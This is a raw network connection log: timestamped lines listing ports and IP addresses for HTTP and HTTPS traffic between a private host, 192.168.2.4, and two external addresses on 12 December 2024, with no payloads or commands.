Dec 12, 2024 14:26:26.531398058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.531568050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.532531023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.532603025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.532836914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.533607006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.533699036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.533890009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.533890009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.534918070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.535142899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.535285950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.536192894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.536271095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.536411047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.536572933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.537237883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.537399054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.537451029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.538614988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.542036057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.798799992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798820972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798842907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798856974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798868895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798878908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.798883915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798896074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798929930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.798933983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798947096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.798965931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.798993111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.798993111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799031973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799045086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799056053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799074888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799079895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799079895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799099922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799113035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799124002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799143076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799144030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799144030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799144030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799161911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799169064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799179077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799190998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799202919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799213886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799249887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799249887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799249887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799249887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799803972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799815893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799839020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799850941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799889088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799890041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799889088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799889088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799906015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799931049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799932957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799942970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799957037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799967051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799973965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799973965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.799979925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799993038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.799997091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800005913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800009966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800019026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800031900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800040960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800044060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800052881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800056934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800067902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800081015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800092936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800106049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800117970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800122023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800122023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800122023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800131083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800142050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800154924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800165892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800178051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800189018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800200939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800200939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800200939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800201893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800201893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800209045 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.800213099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800225973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800236940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800250053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800261021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800275087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800276041 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.800286055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800293922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800298929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800307035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800312996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800319910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800321102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800321102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800321102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800332069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800339937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800347090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800358057 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:26.800388098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800388098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800391912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800406933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800417900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800429106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800435066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800441027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800451994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800458908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800465107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800472021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800477982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800477982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800477982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800477982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800489902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800497055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800512075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800523996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800532103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800544977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800549984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800549984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800556898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800566912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800570965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800585032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800596952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800607920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800618887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800626040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800640106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800645113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800645113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800645113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800652981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800666094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800677061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800688982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800699949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800712109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800724030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800734997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800745010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800745010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800746918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800745010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800745964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800760984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800772905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800781965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800787926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800800085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800812006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800813913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800813913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800825119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800837994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800849915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800862074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800873041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800885916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800889015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800889969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800896883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800904036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800910950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800923109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800924063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800935030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800936937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800950050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800965071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.800972939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800985098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.800997019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801006079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801006079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801011086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801024914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801033974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801037073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801048040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801050901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801063061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801075935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801085949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801098108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801109076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801130056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801130056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801130056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801130056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801152945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801165104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801198006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801198006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801198006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.801233053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.801393986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.813013077 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:26.813040018 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.865262985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.865341902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.884500980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.884596109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.884618998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.884658098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.885046005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.885143995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.885186911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.885229111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.886053085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.886132956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.886137962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.886189938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.887026072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.887094021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.887166977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.887223005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.888063908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.888149023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.888153076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.888205051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.889197111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.889275074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.889291048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.889386892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.890124083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.890223980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.890273094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.890336037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.891079903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.891170979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.891172886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.891210079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.892076969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.892151117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.892163038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.892224073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.893131971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.893174887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.893263102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.893301964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.894109964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.894177914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.894227982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.894227982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.895042896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.895087004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.895143032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.895198107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.895827055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.895930052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.895966053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.896011114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.896941900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.896996021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.897042036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.897172928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.897799969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.897865057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.897891045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.897931099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.899051905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.899154902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.899197102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.899269104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.900053024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.900183916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.900186062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.900238037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.901082993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.901132107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.901165009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.901194096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.902002096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.902089119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.902110100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.902164936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.902997971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.903043032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.903160095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.903296947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.904150963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.904242039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.904289961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.904289961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.905101061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.905145884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.905148983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.905217886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.906042099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.906065941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.906085014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.906182051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.907162905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.907185078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.907258987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.907258987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.908076048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.908132076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.908176899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.908227921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.909185886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.909248114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.909275055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.909322023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.910270929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.910420895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.910453081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.910486937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.911351919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.911398888 CET	49801	80	192.168.2.4	31.41.244.11
